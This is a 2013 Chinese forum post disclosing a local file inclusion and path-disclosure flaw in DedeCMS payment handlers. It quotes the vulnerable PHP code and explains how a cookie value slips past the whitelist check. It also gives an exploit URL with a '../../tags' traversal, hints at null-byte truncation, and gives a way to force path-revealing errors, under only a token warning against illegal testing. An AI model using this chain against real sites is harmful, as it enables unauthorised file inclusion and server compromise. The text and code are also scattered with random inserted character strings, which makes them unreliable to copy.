找回密码
 立即注册
查看: 2465|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)4 Q& x3 G7 x& x# b! f
# T3 r# I* O* K
出现漏洞的两个文件为:+ i  R/ R4 U  V( |9 v" g) s
Include/payment/alipay.php
. W1 u9 p- n1 w" P. u- H% I( t2 JInclude/payment/yeepay.php
7 o0 Q6 ]; A7 S. c( |漏洞均出现在respond方法里,估计这两个文件是临时工写的。  p2 G8 Y! D. H
' V/ K2 O0 m6 B  Y) Y; ?! h" {; J
Include/payment/alipay.php
0 P7 }( ~# |7 G+ c* W8 M+ K! x2 {, u' [
......
( [' M& |0 W) \9 u; ?   function respond()
( C2 J2 O% H: y* i; j+ D% e    {
3 R+ ^; P6 F$ y. v        if (!empty($_POST))- w0 k  c& V- y' k9 D  C
        {/ M3 F% u* M/ }. I
            foreach($_POST as $key => $data). p- z  O$ E. D( T9 b. D1 R
            {
0 ]+ O$ x1 t  v% ^! C" s, x5 R7 C                $_GET[$key] = $data;; I. L' l% H' n+ g
            }
" j2 I$ G: h# i        }
+ @, n, B0 r9 p, P+ V# b2 d        /* 引入配置文件 */
+ P2 r/ z! n: _' p! {# u& v        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';9 h( s. C( |2 r5 z0 E+ \: a+ T
......
0 s% ], i! b* F
- V. v* C' {8 ]' s6 ?% I" p2 M; `9 J; r  p9 F
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
, A# X8 K% T; \) \" j
( ~; D0 w+ q' HInclude/payment/yeepay.php4 @0 L2 i+ G* a4 z. B' K
- O+ ^+ ]+ u8 d7 K  f5 H* ?: D

" g% A1 [# y( R& s% j( z- C" A* Z* q* F) M+ l8 Z
......
7 J$ A- Y* h: l    function respond()
" D0 @- P+ u, E0 g0 V! H& v( F) a; C/ ~    {
6 ~: Q, I5 q+ [ 4 m$ e2 }) q0 @" `. v
        /* 引入配置文件 */
  z. Z8 W7 K% Q) v( R        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';  \) N' v/ W  G: P) y
$ d6 D: o- W& \- Z" R
        $p1_MerId = trim($payment['yp_account']);
7 K3 c) `+ h3 u0 N" B" m, K- m        $merchantKey = trim($payment['yp_key']);- J, @1 R# E9 d2 I: s
...... - v  W! |3 q, G, M6 w! U
) _* k/ O! s  k  g
( P! z1 V/ ]% i8 Y- }
; i$ F/ V0 r2 O- k
2 V+ b  D6 S+ w0 r
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。5 i& B( O- B  d1 {- K  Z9 d

+ B  `+ T7 ~* A$ T这两个方法在plus/carbuyaction.php文件调用。
, c5 d1 {% s) l+ S- V$ m
2 Y7 S+ {5 N5 e2 x$ Oplus/carbuyaction.php
' w" H' L6 g2 i7 W$ U# l7 ^. v& {% i- l* P# L7 F* V
......
& `) @' d6 `0 E- @} else if ($dopost == 'return') {( {( W+ R  K# i1 Y+ @
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
/ Q  V$ t' B9 @1 R7 C    if (in_array($code, $write_list))
6 u5 z! k' u2 `: u% }    {# L3 U* Q* i+ {% t
        require_once DEDEINC.'/payment/'.$code.'.php';, k) L! K4 W9 \3 }
        $pay = new $code;2 h5 V  l% _# i. V9 h  V& H
        $msg=$pay->respond();
. d5 s# B9 X+ t6 M6 [; b- F0 ]        ShowMsg($msg, "javascript:;", 0, 3000);
) a! M* z5 l6 z" Y! |7 J        exit();  ) Q0 q0 J9 S" e; o9 C4 f
    } else {8 v9 {) B) Z1 d  S
        exit('Error:File Type Can\'t Recognized!');7 Q4 d+ i5 M7 J( G
    }
8 u: G. ?) a" N. ~9 S}
+ h# [- p# R# x& d6 _8 C, |0 v...... 5 ?7 n6 A* L) ^$ E! R  A0 P8 w% B3 Z6 _
5 {0 @' A. P5 C9 A; C7 p

, K; m& f; m$ J) R& T& h
1 T' |1 i3 H1 m6 u. O1 a. K7 d" s& l- ^4 Y: H; T: C

, R# g6 p9 n1 a3 V; U# b' Y( p4 o3 k
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
6 L8 `9 S4 A$ R6 Z8 f% [0 |所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。. R0 g% j! J" P0 S# ?
% h/ d- d; K5 [5 E3 G
回到include/common.inc.php来看看他的机制。4 A; f0 g, l' {) G; ]4 e
5 C8 d$ [; q6 g5 m- ?, e2 t
/ I" S0 |" J+ K! D5 H

) \# ?) y! t! I0 l: g+ u7 r......
) T1 s: t9 t" P- q) Lforeach(Array('_GET','_POST','_COOKIE') as $_request)
% q/ I7 `1 Q. e{
9 @, {. Y) D( s, i5 @        foreach($$_request as $_k => $_v)
5 H3 O$ F0 {- p2 R/ s8 r        {% K& A& G! T8 U2 `" ?
                if($_k == 'nvarname') ${$_k} = $_v;
" J' p8 @! ^5 i                else ${$_k} = _RunMagicQuotes($_v);
/ @# J+ w+ Z% w        }
8 W1 {- i! o( S) {  ]- a4 P8 [}8 `3 }2 v8 R, ^% Z
......
$ i) }) q3 U/ z% e: B; B大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
7 L" g$ m3 b  z( N' g$ r由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表